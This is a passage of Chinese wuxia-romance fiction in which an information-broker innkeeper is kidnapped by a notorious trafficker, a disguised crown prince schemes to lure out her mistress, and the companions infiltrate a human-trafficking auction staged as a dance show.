“千千，既然这人这么爱造谣，为什么不干脆让白公子他们杀了他，还带着他干嘛？”
听到这话，白邵禾瞥了一眼秦千千的神情，她恨铁不成钢地开口：“杀杀杀，你整天就知道杀，可是在酒楼让你杀个鸡，你却不敢去了。再说，他是真的神医你知不知道？昨天因为揍他这事儿，我都被训斥了……”
白邵禾攥紧了手中的缰绳，脸上却依旧是云淡风轻，越到这个时候，他就越不能做声。纵虎岭的那群人奉她为座上宾，谁敢训斥她，肯定是姜千秋又给她传了密函。
“没事的，我都习惯了。”再说，这一切都是她们的约定。王老怪在心中默念后半句，表情却陷入了回忆。从出生起，他就不知道自己的父母是谁，风雨飘摇地长大，残肢断腿地乞讨。终于有一天，
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给他讨到了自己的贵人——姜千秋。
那日他照常被人欺凌，其中有个人一脚踢到他的胸膛，肋骨凹陷，他当时就倒地不行了，那些恶人四散离去后，王老怪神情恍惚地躺在破庙地上。
他仰脸看着残破的佛像，心中苦苦哀求，求佛祖让他死后不要落入无间地狱。他要化为恶鬼，报复那些该死的人。可就在那时，来破庙避雨的姜千秋出现了。她一身素衣，裙摆处还有某种藤蔓的暗纹，当时的王老怪只能看到她的裙摆，就连那人的话也听得不真切。
“你想现在就化为厉鬼，以暴制暴？还是想从头来过，去救治他人？”
那时活下去的念力超过了其余的一切，王老怪选择了活下去。而后他学成归来，成了治病救人的神医。而他的确是僧人，只不过他信的神只姜千秋一人。
王老怪本想一辈子誓死忠于恩人，但姜千秋提出了对他唯一的要求：她们之间的恩怨一笔勾销，自此以后，他要在救济天下的同时，抨击自己。
事隔经年，王老怪依然不知道此举意欲何为，就这样，他觉得自己是世间第一个，也是唯一一个诋毁自己信仰的疯子。
本想听秦千千再说些什么，但她的心早就飘远了。白邵禾皱着眉头，听她跟桃花花聊名震江湖的脂粉斋。
锦宁县，是她们日夜兼程要走两天才能到的下一站。之前骑马两个时辰就喊累的秦千千，愣是咬着牙坚持，快马加鞭地赶到了锦宁县。
随便找到一个客栈分配房间时，跟在上个镇子没什么变化：秦千千和桃花花还是一个房间，白邵禾和元德以及王老怪，他们分到了一个屋子。
谁知他们刚到屋里没多久，秦千千找了过来，她甚至要白邵禾和元德出去。白邵禾心中警觉，不知道这是为何？他装作不在意，问她是不是身体不舒服，谁知道还真给他猜对了。
“我身体确实有些事情，要让他帮我看看……哎呀，你们别管了，快点出去吧。记住啊，不许偷听！”
他们怎么可能不听，白邵禾和元德坐在隔壁房间，把他们的话尽收耳底。秦千千砰的一声关上了门，还用门闩闩上了门。
“你哪里不舒服，说来听听？”王老怪又恢复平时那副吊儿郎当的样子，摇头晃脑地问她。白邵禾甚至能想象的出，他摇头晃脑的样子，听的人耳朵疼。
秦千千沉默着走到桌子边，使劲儿拍了一下桌子，让他别晃头了。“你不是神医吗？帮我看看，要是月事不调，会不会让我的心情忽上忽下啊？”
白邵禾倒吸一口凉气，无可奈何地闭上了眼。
“公子别气，气大伤身啊……”
秦千千听到这边没有人离去的声音，便只能随机应变。她从袖子中抽出纸条，递给王老怪，朝他比了闭嘴的动作后，她自己口中的话却没停过：“就拿你来说，昨天我一门心思想揍你，但今天看到你却觉得顺眼多了，这是不是也是月事不调导致的？”
王老怪眼神中满是激动，他几乎抑制不住颤抖的手，看清纸条后，他满足的抿住嘴，差点忍不住老泪纵横。真是恩人给他写的信，当年他二十岁，现如今过了十年，他终于有了恩人的消息。
【事过经年不可提，悬壶依旧规如常】
5. 劫持
王老怪一看就懂，这还是要让自己不要往事重提。看他看完后，那边的秦千千说的嘴都干了，她给自己斟了一杯水，一饮而尽。王老怪点点头，开始“诊断”起她的病情。
“你这脾气确实忽上忽下，肯定有这方面的问题。不过也不是什么大病，我给你开两副药，待会儿让小二给你煎一煎，喝两天就好了。”
秦千千看着他准备把信揣袖子里，就皱眉瞪着他，万一给人发现了呢？她一把抢过纸，塞到了自己胸前的口袋里。这举动看得王老怪瞠目结舌，隔壁的白邵禾听到纸张哗啦的声音，精神突然紧绷了起来。
好在秦千千反应迅速，她立马做起戏来：“什么玩意儿，你开这个药方有点太苦了吧？狗都不吃……”
王老怪一脸恨铁不成钢的样子，扯高嗓子反驳她：“你这娃娃懂个什么，良药苦口！算了，这个方子我也不交给你了，待会儿我亲自去给你抓药。”
就这样，两个人不欢而散。秦千千推开自己屋子的门时，看到端坐在正中间的白邵禾与元德，她表情悻悻地问他们没有听到什么吧？两个人都摇头否认。
“那行，我去找桃花花逛脂粉斋去了，你们随便干什么吧。”
脂粉斋，是锦宁县名满江湖的第一功臣。那不是一家胭脂水粉的店面，而是一整条街的名字。那里面朱钗银环、绸缎首饰应有尽有，出京前，秦千千最期待的地方就是这里。
而且这里不仅有那些买得到的东西，还有一些买不到的视觉盛宴，听说这里每月十五都会有庆斋演出，届时会有很多节目在脂粉斋的街心台的地方演出。
不同于庙会中平易近人的大戏，那是基于脂粉斋接下来要推出的新品的系统展出。只不过采取了高雅的手段，而每次展出，都会在江湖上引起很大的反响。
女子们对此自然鼎力支持，而男子们也对此狂热支持。
秦千千虽然不如自己主人通晓古今，但她通过各方的消息也知道这其中的内幕：庆斋演出中的所有参演人，均是可以买卖的。而台中央最重要的那对儿男女，其中的男人江郎，听说是千金难买。
江湖上的肮脏事，秦千千知道的不少。只不过她们只做消息买卖的生意，因此哪怕知道这种邪事儿，她们也是不会插手的。今夜也是如此，她和桃花花只是去那里逛逛而已。
此次出京，秦千千带了二十两银子，桃花花也带了二十两。可这长长的街才走了不到一半，两个人就各花出去七八两。
“哎呀，不能再花了！桃花，咱们得管得住自己的手。”
“可是你看这个簪花，是不是很合适我那套嫩绿的衣服？”桃花花眼都直了，两个人又开始沉浸在簪花的世界中。暗中跟随的白邵禾板着脸，手边的元德倒是一杯一杯地喝着水。
茶摊的老板很识趣地问他们，要不要再添些茶？白邵禾瞥了一眼元德，元德赶忙点头：“要，再来一壶吧。”事到如今元德也想不明白，他就是翻进厨房偷偷尝了秦千千的药，怎么就如此口渴？他来这里都喝了两壶水了……
“你应该是被下药了。”白邵禾低头揉了揉眉心，元德也觉得那王老怪坑害的他。“不过也不怪王老怪，那药是他坑秦千千的。”
还能怎么办，只好认了这哑巴亏。自认倒霉的元德还在旁边咕咚咕咚喝着水，白邵禾抬眼却发现，秦千千两个不见了。他正准备起身去找，却有个身着黑衣的人，坐在了他们这一桌。
那人压低声音跟他汇报：“公子，镇子清扫干净了，可岭上久攻不下。”
听到这个消息，白邵禾眼神更加狠厉了起来。原本他并不想杀纵虎岭的那些人，毕竟看起来她们都是无辜之人，可他做了两手准备。一是在秦千千这里用怀柔政策，一步一步得到秦千千的消息；另一步，就是他要杀光跟姜千秋有接触的人。
他就不信，赶尽杀绝之日，姜千秋会不露面。
“那就让袁毅继续派兵增援，还不能荡平纵虎岭吗？”更何况，纵虎岭上面全都是写老弱妇孺，袁毅堂堂护国大将军，怎么可能打不过。
“恐怕不可，袁将军派我来就是向公子禀报，边陲骚乱，他被十三道急令召回，现在就在奔赴前线的路上了。”
白邵禾冷笑一声，每次都是这样。之前他还妄想揪出朝廷中的内奸，只要阻碍他行动的人，都上了他的锄奸名单。可眼看上面的人不仅有满朝文武百官、还有后宫妃子，甚至连自己父皇母后都不能幸免……
自那以后，他就放弃了找内奸的事情。
“我知道了，你回去吧。也不需要留人驻守了，毒瘴四起，不能再因为这个伤亡人员了。”纵虎岭行动可谓是大获全败，眼下秦千千又不见了。白邵禾跟元德分头行动，这脂粉斋一定有什么古怪。
秦千千是没有想到，在这等繁华街市，居然有人敢当街绑架。那时她正在帮桃花花佩戴簪花，谁知两个人分别被两个女人捂住口鼻，拖向了两个地方。
她这一路都是清醒的，那人先把她拖到后巷，然后错综复杂地绕来绕去后，停在了一座气势恢宏的大门前。门上挂着的牌匾写着：琳琅满目。秦千千还在奇怪，这家主人是什么蠢货，怎么挂个这样的牌匾？
没过一会儿，她被扔到正厅地上，主座坐着的那个“蠢货”上下打量着她：“面容还算是俊美，就是这身段……”说着，他拍了拍手，屏风左右出来两个侍卫，一左一右架起了她。
秦千千被迷药弄得神情恍惚，也就是那人凑上来，她才看清楚那人的长相:一双清秀眉眼搭配个不大不小的鼻子，双唇微薄却又丰满，搭配起来相得益彰，而他唇边的一颗黑痣，让秦千千突然精神了起来。
“我在哪里见过你！”她突然瞪大了眼睛，沉思到底在哪里见过他。那人也不说话，就站在原地任她想。思考良久，她终于想起来了，可心也随之死了。
她应该是在江湖通缉令中看到他
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的，而且这人可是不折不扣的魔头。他主打杀人，以及人口买卖生意，可江湖上多年不见他的踪迹，怎么骗骗给自己碰上了？
看出她心中的惊惶，江郎猜她已经知道自己是谁，他也就不再装了。“掌柜的，终于想起我来了？这些年，我躲仇家都已经够苦了，还要处处躲着你们清风酒楼的探子，我这日子过得是真的难啊。”
听到这里，秦千千知道全完了。她本来还想拿这个名头吓唬一下他们的，原来是宿敌……到这时候，她只能强打起精神呛那人：“你想怎么样？多行不义必自毙，你小心遭天谴。”
“天谴？在这脂粉斋，我就是天！来人，把她送去后房，做成傀儡。后天庆斋演出，就卖她了。”说罢，江郎轻轻在她脸颊拍了拍，不屑一顾地开口：“早晚，我要抓住姜千秋。当然，她的下场要比你惨一千倍，一万倍！”
元德顺着目击者的线索，一路查到这里，但府中守卫森严，他一个人也是应付不来。他只好悄悄记下密室的位置，赶去跟白邵禾汇合。白邵禾那边的情况就顺利很多，带走桃花花的绑匪，在走街串巷的时候，被白邵禾出手打死。
他先把桃花花送回去，这才折返去找元德。两人用黑纱蒙面，悄无声息地混进了大院。好在后房不是所谓的密室，只是一间守卫森严的屋子。
两个人跳下去杀了个痛快，趁着援助的人还没到，他们闯进屋中要带走秦千千，屋中准备下毒的人把秦千千挡在身前，警告他们再过来，他就要一刀抹了秦千千的脖子。
白邵禾眸色一沉，扔起手中的长剑，转身抬脚一踢，剑直直朝秦千千飞去。宦凌一看这还得了，不跑就要被捅个对穿，于是他往前一推秦千千，转身跳窗跑路了。
秦千千意识模糊中发觉，自己好像被捅了个对穿。等她再次清醒，已经是第二天中午了。她缓缓睁眼，这才发现自己已经躺在客栈里了，她挣扎着想起床，右肩却传来钻心的痛。
听到这边的动静后，白邵禾赶忙跑了过来，脸上满是担忧和惊惶。“怎么样，现在感觉好些了吗？昨日那贼人把你捅伤，可惜我和元德还是没有追到他，让他给跑了。”
“别担心，我好多了。你们一定要抓到那贼人，把他碎尸万段。”
“好，那你再休息一下，我去找王老怪来给你看病。”
刚关上门，白邵禾一秒卸下了担忧的脸色。他心中冷笑一声，很好，看来昨夜她的确意识恍惚，不记得那一剑是谁刺的了。不过白邵禾还是不想她死的，他赶忙下楼喊正在用餐的王老怪，让他上来。
“好在是恶人抢了白公子的剑，剑上无毒，不然这么大的伤口，可真就是危险了。”王老怪心有余悸地说道，自从那张纸条后，他就把秦千千看成了自己人。
秦千千顾不得什么好好休息的话，她赶忙跟大家说起了江郎的来历，想让他们商量接下来的对策。反正自己这个样子，应该只能留在客栈静候佳音了。
6. 神兵
早年间有一商贾，富可敌国。可奈何他儿子无意继承他的生意，整日就是闷头享乐，结交一些狐朋狗友之辈。老富商死后，家业自然而然地被这儿子败光了。后来这人就开始坑蒙拐骗，再后来烧杀抢掠。
直到某一天，给他参悟了经商之道。只不过，他贩卖的货物跟别的商户不同，他贩卖人口。再加上早些年挥金如土时结交的人脉，还真让他把这生意越做越大了。
不过这生意终究上不得台面，更是在一次交易中误杀了当州知府的儿子，于是那个知府开始全力清剿恶人，只不过罪魁祸首却像人间蒸发了一样，不知去向。
“那罪魁祸首就是江郎，也就是昨天那个劫持我们的头头。往日我只知道，千户长街脂粉斋，最上面的老板只有一位。但我万万没想到，居然就是江郎。他不仅没有消失，还一直就在所有人眼皮子底下！”
众人听得神情复杂，白邵禾则是微微挑眉，故事固然跌宕，但他在意的不是故事，而是讲故事的人。看来秦千千也并不是什么都不知道，与之相反，她知道的东西异常之多。
“千千，这种情报在你们那里，能售出多少钱呢？”白邵禾很好奇这个问题。他知道，清风酒楼中的情报价格不一，但像这种规格的情报，不知道是怎么计费的。
秦千千耸了耸肩，而后眉开眼笑地说：“这种轰动江湖的事情，卖不上几个钱。不过最关键的是，这事儿已经过去好多年了，价格自然会高一些。再说，我这儿的消息全啊，刚刚讲的事情是简略了。其实各个事件的人物时间，现在那些人在哪，这些都是可以卖的上钱的。”
报价这种事情，姜千秋教过她，得深思熟虑以后再说。于是她停顿一会儿后，这才给出了报价：“就刚刚说的那些话，没有个二百两，是听不到的。还有本店长的倾情讲解，再加个一百两不为过吧。”
白邵禾若有所思地点点头，元德却在一旁捏着下巴不以为然，黑啊，简直是家黑店啊！秦千千扫了一眼就知道他在想什么，她抬起左手指了一下元德：“哎！我不多赚点钱，拿什么给你们发月俸啊！”
她的话又勾起了白邵禾的又一大疑问，按照他的观察，清风酒楼的盈利相当客观。而赚的钱，究竟哪里去了？据他调查，姜千秋浪迹江湖，两袖清风，压根用不了那么多的钱……
“行了行了，别动气了。这事儿接下来怎么做，就不是你该考虑的问题了，你的任务就是好好修养，不然一只手怎么骑马。你接下来可有的忙呢。”
王老怪安排完她，转头把白邵禾和元德轰了出去。江郎该怎么解决，是他们这些会武功的人，需要考虑的问题。他和桃花花，以及现在的伤员秦千千，他们三个最好按兵不动。
“公子，你怎么看？”元德跟白邵禾走在街上，他忍不住问道。白邵禾抬起下巴，指了指前面的一个茶馆：“到里面再说。”
朋客乐来茶馆，是穆轩岚的线人经营的。想要跟遍布天下的芳草阁斗，穆轩岚认为建立自己的关系网，也是非常必要的。两人一前一后走进茶馆，掌柜看清来人，赶忙提着裙摆迎他们上楼。
走到从不待客的雅间后，夏念烟先行一步推开门，站在门中摆了个请的手势。等元德把门关上后，夏念烟和元德，一左一右跪在了地上，给当今太子行礼。
“臣元德拜见太子殿下。”
“民女夏念烟，拜见太子殿下。”
穆轩岚临窗观景，他左手搭在窗边，有规律地敲击着红漆窗沿。“江郎的事情，查的怎么样了？”卸下所有伪装后，穆轩岚的声音平稳，听不出一点波动，让人猜不出他的悲喜。
夏念烟赶忙汇报起了江郎的事情，听到她汇报的事情中，有秦千千没有说到的事情，元德就在心中喘了口气。要是自己人查了这么久，还不如秦千千刚说的多，他都不敢想，殿下会生多大的气。
江郎的故事，前面跟秦千千说的大同小异，只不过从知府儿子那里，夏念烟查到了别的事情。
那个知府，也不是什么好人，他贪墨无度，还纵容儿子欺行霸市。据说，是姜千秋从中做局，让知府儿子卷入这场风波之中。经过此事，知府和江郎自然是水火不容，但他们更加痛恨姜千秋。
听到这里，穆轩岚想到了昨天元德偷听到的话，怪不得，江郎跟姜千秋不共戴天，还扬言要报复她。穆轩岚把玩着桌上的茶盏，心中已有了定夺。
“元德，你说我们接下来该怎么办？”
“臣以为，要先保护秦千千的安全。江郎之事，臣有把握擒贼擒王，把他捉来，或者把他除掉。”元德言简意赅，一旁的夏念烟却眉头微蹙，他的计划一点都不好。
穆轩岚不耐烦地抬手，示意他闭嘴。“念烟，你以为如何？”
“殿下，民女愚钝，但民女以为，此乃千载难逢的好机会。我们应该可以借着这个机会，逼姜千秋出来。而且这也应该是昨日殿下刺伤秦千千的原因吧。”
朝堂之上，谁都不能揣测圣意。自小作为储君培养的穆轩岚，自然也很厌恶这种行为。但夏念烟分析的很对，这让他满意地点了点头。
“元德，你要学的还有很多。我们接下来的行动，就是按兵不动。不仅要按兵不动，念烟，你知道该怎么做吧？”
夏念烟立马应允了下来，送走穆轩岚和元德后，她就派人去散播消息：秦千千跟姜千秋联系密切，指不定何时，姜千秋就会露面了。像江郎那种眼观六路耳听八方的人，任何一点风吹草东，都能传到他耳朵里。
一出朋客乐来，他就自动切换了白邵禾人格，完全两套神情秉性。回去的路上，穆轩岚还去摊贩处，给秦千千买了个小玩意儿做礼物。
推开秦千千住的门后，他眉间又带了些忧愁。
“情况很不乐观，我
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们本想出去找一点线索，但忙了一下午，压根没有打探到任何消息。”白邵禾言辞恳切，看得元德十分佩服。他自小跟殿下一同长大，他打小就知道，殿下学什么都事半功倍。
而殿下哄姑娘的招式，元德也是佩服的。都说天家无真情，可殿下就跟姐姐妹妹们相处的很好。眼前的秦千千也是个例子。
白邵禾从怀中拿出那个质地细腻、雕工精湛的凤鸣玉佩，轻轻塞到秦千千手中，温声细语地跟她说：“在街上发现的，感觉特别配你。”
“这……”秦千千眼中都是惊讶，这还是这辈子除了主人之外，第一次有人送她东西。她惶恐的不知道该怎么开口，一脸震惊地看着白邵禾。“谢谢。”
在她那边走完攻心流程后，白邵禾带着元德离开，回房休息去了。他们时不时能听到，秦千千跟桃花花感叹这东西多好看的声音。白邵禾心中没有丝毫愧疚，要想成功，怎么会没有牺牲呢？
夜深人静的时候，秦千千睡不着。可伤口还未痊愈，左右翻动就会痛，她只能睁着眼睛发呆。主人让自己在这里安心养伤，还说说什么神兵天降，她在脑海中构想，到底会有谁来。又是谁能配得上主人那句：风花雪月无双，兵贵神速到场呢？
从在纵虎岭接到主人的三封密函后，秦千千就在思考这个问题。第一个密函说的是让大娘她们强加防范，只要坚持两日，山脚下的兵自会退去；第二个密函，就是给王老怪看的那张；至于第三张，秦千千想破头也想不出？
主人浪迹江湖、光风霁月，没听说她有什么风流韵事啊？想着想着，她就睡了过去。第二日，她是被外面的吵嚷打砸的声音吵醒的。她勉强撑着胳膊坐起来，却被嘭的一声被撞开的门吓得浑身颤栗。
看到横着飞进来的两个人重重地砸在地上，秦千千心中一直在默念，神兵快来，神兵快来。神兵没来，反倒是外面的杀手先闯了进来。他们手持弯刀，一左一右往这边逼近。秦千千退无可退，她抄起床上的枕头就扔了过去。
屋外跟杀手们缠斗的白邵禾，时刻注意着屋里的动静，他在赌，赌这种生死攸关的时候，姜千秋一定会出现。果然，他听到有人破窗而入的声音，他利落地收拾了眼前的喽啰，就往屋里跑去。
进屋的时候，一个身着藏青色长袍、束着高马尾头发的人正在往床边走去。白邵禾没有说话，提着剑就刺了过去，谁知道那人转头一挥长鞭，那鞭子牢牢卷住剑身，她又一甩手白邵禾的剑脱手而出，当啷坠地。
看着眼前英姿飒爽、眉间有几分英气的女人，白邵禾连剑都顾不得捡，他冲上前去问那人是谁。他在心中希冀一个答案，一个让他不敢听到真相的答案。
“你们别打了！桑姐姐，白公子，这都是我们自己人。”
白邵禾难掩心中的失望，他顿时脱了力一般，也是，姜千秋怎么会那么轻易就被逼出来呢？
7. 庆斋演出
屋子外面的斗争本就可以早些结束的，没一会儿，元德就提着沾满血的长剑走了进来。他不满地皱眉，这把剑可是跟他趁手的莫剑没法比，莫剑吹毛利刃，而且不会残留血迹。
察觉到屋中氛围不对，特别是白邵禾的心情不对。元德赶忙收起不悦的表情，跟主人汇报起了情况：“老板，这些杀手组织有序，我怀疑是江郎派来刺杀我们的人。不过，现在外面都被处理妥当了，下一步我们该怎么办？”
说完，他有些迟疑地看着秦千千身边站着的人，她一看就是个练家子。察觉到元德的目光，桑风雪目光凌厉地盯着他，秦千千怎么看不出她们之间的暗流涌动，赶忙跟她们介绍了起来。
“这位是桑风雪，之前在我们清风酒楼也做过一段时间的伙计……哎呀，王老怪和桃花花哪里去了？”说到一半，秦千千突然察觉到怎么少人了？
白邵禾跟她解释，那两个人去中药铺给她抓药去了。
“老板放心，我现在就去找她们。”元德说完就准备走，桑风雪却说，不用去了。
“王老怪本身就是个老毒物，他怎么可能那么容易被抓，别说这些三脚猫功夫的人，就算是十个你这样的人去，他也逃脱的了。”桑风雪指着元德，不屑地说道。
元德哪受过这等蔑视，他正准备跟桑风雪较量，却被白邵禾用眼神劝退了……白邵禾听了她这话，心中也在衡量。桑风雪到底是在说玩笑话，还是王老怪真的有那个能力？
要是前者那就还好说，要是后者……难不成，当初王老怪栽在他们手里，其实是逢场作戏？
“如此甚好，那我们就等等她们回来吧。”白邵禾说完，便准备去找个椅子坐下，桑风雪坐在床前，旁若无人地跟秦千千聊起天来。
若说姜千秋是游侠，游荡江湖，行侠仗义。那桑风雪就是真正的浪子。秦千千自小就是这么认为的，主人像是有线的风筝，而桑风雪真的就跟她的名字一样，就像一阵风，四处无牵无挂，浪荡江湖。
两人上次见面，已经是几年前的事情了。彼时桑风雪当着她的面，用刀斩断了她的头发，潇洒地跟她说：“千千，下次再见，希望你已经跟我一样高，或者已经是个武功盖世的人了。不然，再跟我打架输了后，我就要砍你的头发了。”
那是桑风雪在姜千秋手下时，跟秦千千玩的一个游戏：两个人打架，不管用何种方式，击倒别人就算赢。输的人，就要被砍断头发。
“你到底是怎么想出来，那么狂野的剃头方式。”现在提起，秦千千还心有余悸。输的人要趁起大风的时候站在风中，赢的人就拿着姜千秋那把削铁如泥的宝剑，在输家头边挥舞……
桑风雪笑笑没有说话，那是属于她和姜千秋的秘密。
俗话说靠山吃山，靠水吃水。桑家村破落封建，他们全村仰赖的就是村前那条奔腾不息的大河。河能灌溉庄稼、能产出鱼获。可河水也会泛滥成灾，毁灭整个桑家村。
那年河水泛滥，眼看就要漫上高坝淹了整个村子，村长只得站出来，主持祭河大典。而被选中的童男童女，其中的童女就是桑风雪。那一年，她十七岁。
她这辈子也不会忘记，当年的童男，因为人家家中拼死抵抗，最终沉河的只有她桑风雪一人。在被几十条绳子拴住脖子，绳子另一端绑在无数块儿大石头上的时候，她什么都做不了，只能死死盯着岸边所有人。
为了防止她死后去阎王那里告状，也是担心她提前咬舌自尽，弄得龙王不开心，他们就用白布塞住了她的嘴。众人齐心协力把木舟推向水面的时候，姜千秋出现了。
她从百尺宽的河对面飞了过来，踢翻了推船的人，奈何村民蜂拥而至，又加上木舟上的石块已经开始扑通扑通地落水，桑风雪被坠得向后倒去。
姜千秋快跑几步过来，左手挽了两个剑花，划断了她脖子上的那些绳子，再搂住她的腰，飞身一跃落在了河对面。桑风雪记得清楚，当时有股凉爽的风吹过，裹挟着她的委屈，飘向远方。
“喂！”秦千千手在桑风雪眼前晃过，等桑风雪缓过来神时，秦千千这才重新表露自己的不悦：“你看看你这人，有什么事情不说，自己在心里藏着很好玩是吧？”
桑风雪不跟她一般计较，她佯装生气，一指禅就要戳到秦千千的肩膀。秦千千赶忙认错：“我错了！”
……看够她们两个的嬉笑玩闹，白邵禾开口问她们现在该怎么办。桑风雪好似知道答案，却想考考秦千千一般，问她要怎么办。秦千千白了她一眼，又来了，她又开始测试自己了。
秦千千左手捏着下巴，低头沉思。
“依我看，咱们现在这里三个绝世高手，你们直接去抓住江郎不久完了？”看着桑风雪满意地表情，秦千千这才继续说了下去：“首先，他也太嚣张了，放眼整个江湖，谁不得给我点面子。这个江郎倒好，不仅驳了我的面子，他甚至敢说主人的坏话。虽然主人不会被他暗算，但这个孽障不除，实在让人心烦。”
等她慷慨激昂地说完后，桑风雪笑着给她鼓了鼓掌：“好，这才是清风酒楼老板该有的魄力。”
白邵禾不由得深思，没想到这清风酒楼培养人的方式，竟然是如此铁血手腕。不过秦千千这个草包，真的能培养起来吗？每当想起姜千秋选了秦千千做老板，白邵禾就不禁怀疑起阁主的眼光……
“哎呀，这到底是怎么回事儿？”王老怪和桃花花一路跑上来，他扯着嗓门问。等进了门，看到桑风雪后，他不由得愣住了。“阿桑，是你吗？”
桑风雪笑着点头，话却毫不留情：“几年不见，你怎么成老头了？”王老怪只比桑风雪大三岁，但现在看来，两个人差了得有三十岁。
身为江湖儿女，桑风雪和王老怪，都默契地选择不寒暄。刚刚那句打趣过去后，桑风雪就跟他们聊起了刚刚的计划。对于怎么安置秦千千的问题上，桑风雪跟白邵禾起了冲突。
桑风雪认为，最重
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要的是擒王工程，因此秦千千和桃花花两个手无缚鸡之力的弱女子，由王老怪保护着就够了。可白邵禾却觉得，今天的偷袭未必不会再来，因此，必须要留个会武功的人在这里。
他没有办法提出把秦千千转移去朋客乐来，穆轩岚对那里知根知底，可他现在是白邵禾，怎么能确保那里一定安全呢？
双方争执不下，谁也不肯让步，最终还是王老怪站了出来。他一挥袖子迷晕了白邵禾与元德，桑风雪早有准备，事成之后朝他挑了下眉。
“……行了两位，快带我俩走吧，你们事成之后，赶紧跟我们取得联系啊。”秦千千与桃花花，跟着王老怪一同离开。
迷药剂量不大，等白邵禾与元德清醒的时候，屋中只剩他们和桑风雪三个人了。白邵禾黑着脸看着她，桑风雪站起来活动了一下手腕，朝他们摆手：“走吧，该行动了。”
他们在夜色的掩护下，在房顶上穿梭，没一会儿就到了那个气派的大院。可街中间传来锣鼓喧天的声音，而且他们发现，院子中虽然灯火通明，但当值的人都很散漫。
绝非那天，元德看到的样子。
“这不对劲儿吧，那些仆人怎么站都站不直？”元德想象了一下，殿下不在殿中，仆人也没敢松懈成这种样子啊。而远处的喧嚣声又实在太引人瞩目了，桑风雪勾着头看了看远处繁华的街道。
“我听说每月十五脂粉斋有庆斋演出，那个江郎，不会是去演出了吧？”桑风雪大胆猜测。白邵禾也在暗自懊悔，夏念烟昨日要跟她汇报脂粉斋的详细情况，他觉得已经了如指掌，这事儿没什么好说的了。现在看来，还是失算了。
“要真是这样的话，那岂不是麻烦了？”元德眉头紧皱，难不成今天要铩羽而归？白邵禾却说，这是个千载难逢的好机会。
“现在对我们来说，这是唯一一次，敌在明，我在暗的时机。若要不是趁着今天，取他性命的话。等他反应过来，强龙压不了地头蛇，我们一定会吃亏的。”
桑风雪对此表示赞同。好在三个人穿的只是重颜色的衣服，而非夜行服，白邵禾与元德，光明正大地手提着长剑。桑风雪的长鞭，她直接环到腰间。三个人就这样并排走入了热闹的长街，朝着街心台走去。
饶是出生在天家，从小见识奇珍异宝的穆轩岚也有点怔住了，这种表演形式他从来没有看到过。从舞台形式来看，就很奇怪。比起寻常舞台来说，庆斋演出的街心台，则是有六层舞台，高度递增的同时，舞台面积减小。
每层舞台都站着穿着暴露、几乎是衣不蔽体的舞姬。一层男舞姬，一层女舞姬。而每层跳的舞，也各不相同。越到上层，舞蹈的动作越大，披帛舞动的幅度也就越大。
从远处看，整个舞台就像是盛开的花朵一样，巧妙灵动。
可当白邵禾走进，看到每层舞台边写的字时，他的脸突然阴沉了起来。那上面写的，就是每个人的身价，这就是一场明目张胆的人口买卖。
8. 对决
台上莺歌燕舞，台下的人也几近癫狂。不论男人女人，他们都身着华服，朝台上叫嚷着什么。桑风雪皱眉不解，难不成聚在这里的都是疯子吗？白邵禾仔细分辨后，才听得出他们在叫什么。
“庆斋，庆斋，庆斋。”
“江郎，江郎，江郎。”
在她们三个被吵的脑袋发昏前，一直空缺的最高层舞台，终于有人姗姗来迟。江郎身着大红艳服，露脐的上衣下摆缀满了金色铃铛，下身穿着的红色长裙，裙边也装饰了同样的铃铛。
江郎从脂粉斋最高的楼顶一跃而下，身上披着的红纱披风随风摇曳，在他飞到舞台边时，他一伸手拉开了披风系带。无所凭依的红纱飘然落地，被那些狂热的人互相抢夺。
“他这行为也太骚了吧？”秦千千捋着自己人中的假胡子，压低声音跟王老怪说道。
王老怪纵然漂泊半生，听到她这话，还是不由得轻咳了两声：“粗鄙，你说的话也太粗鄙了。姑娘家家，注意点措辞嘛。”秦千千用左肩撞了他一下，调侃他：“得了吧，难不成你喜欢他，还不让我说了？你喜欢的话，我挪用老板的钱给你买了他！”
“行了，你可别胡说了！你非要来看的，不看咱们就走！”王老怪吹胡子瞪眼地就要走，秦千千赶忙拉住他认错：“得得得，安生看吧。”
两人都没有注意到，一向活泼搞怪的桃花花，现如今站在旁边一言不发。她专心致志地盯着舞台上，不知道在看什么。
白邵禾在江郎开始大开大合跳舞后，转移开了视线，自己怎么要来受这种折磨……另外两个人也没好到哪去，桑风雪攥着拳头在忍，元德反胃地已经跑出去吐了一趟了。
没别的，谁让元德倒霉，刚刚江郎脱掉上衣扔下来的时候，正好蒙上了他的脸。
“公子，我实在忍不了了，我们到底什么时候动手？”元德问完，桑风雪也表情复杂地看着白邵禾。白邵禾却说不急，他想看看待会儿的竞买时怎么个情况。
好在江郎只跳了三首曲子，而后他光着膀子，摆出双手下压的姿态。狂热的众人都慢慢噤了声，而后，江郎才开始说话：“各位，一切如常，违背规矩的人，就会被逐出脂粉斋，再不得进入。”
秦千千无聊地打了个哈欠，等了这么久，重头戏终于来了。
“不过也保不齐会有新来的观众，那咱们就再讲一次规则。六个舞台，每层都有舞姬。第一层舞姬，是我给大家送的福利，进斋前各位都有领号牌，待会儿凭借号牌，领走这第一层的舞姬。”
第二层起拍价二百两，第三层三百两，以此类推。说道最后一层，也就是江郎站的这一层时，他莞尔一笑：“今天本来是给大家准备了个绝色佳人的，只不过佳人不听话，跑了。那我这一层，就砍一半价格，一千两黄金。”
这一句话把秦千千的瞌睡虫吓跑了，多少？这男的居然值一千两黄金吗？看来此次回京，要刻个良心卖家、童叟无欺的牌匾挂在清风酒楼了。
也正在此时，桃花花拉住了姜千秋的衣袖，急得快要哭出来：“千千，你看到第五层左边第二个人没有，那个人好像我亲姐姐，我们能不能用钱把她买下来。”
秦千千顺着她手指的方向看过去，那个女生的眉眼，确实跟桃花花有些像。可桃花花七岁就进了清风酒楼，小时候的记忆有可能混淆吧？最大的问题是，秦千千从哪里弄出来五百两去呢？
而且那还是竞拍价，有人抢的话，不知道要抬到什么身价了。
“桃花啊，你确定吗？可是我们现在没有那么多钱啊……”
“确定确定，她手臂上有个黑色的胎记，真的一摸一样，就是她！”
这边刚安抚好桃花花，江郎也把规则讲清楚，开始竞拍了。比秦千千想象的还要糟糕的是，因为人多嘴杂，有些人恶意哄抬价格。第二层就有人拍到了八百两的价格……
攒钱买不如抢来的实在。
秦千千说服桃花花，先带着她离开，让王老怪去通知桑风雪她们，该动手的时候，就直接抢吧。桃花花知道待会儿一定是腥风血雨，于是只能依依不舍地看了一眼台上后，转身离开。
“桑风！我有话跟你说。”王老怪穿过拥挤的人群，一把抓住桑风雪的手，桑风雪看清来人后，才没有下意识反击。“怎么了？”
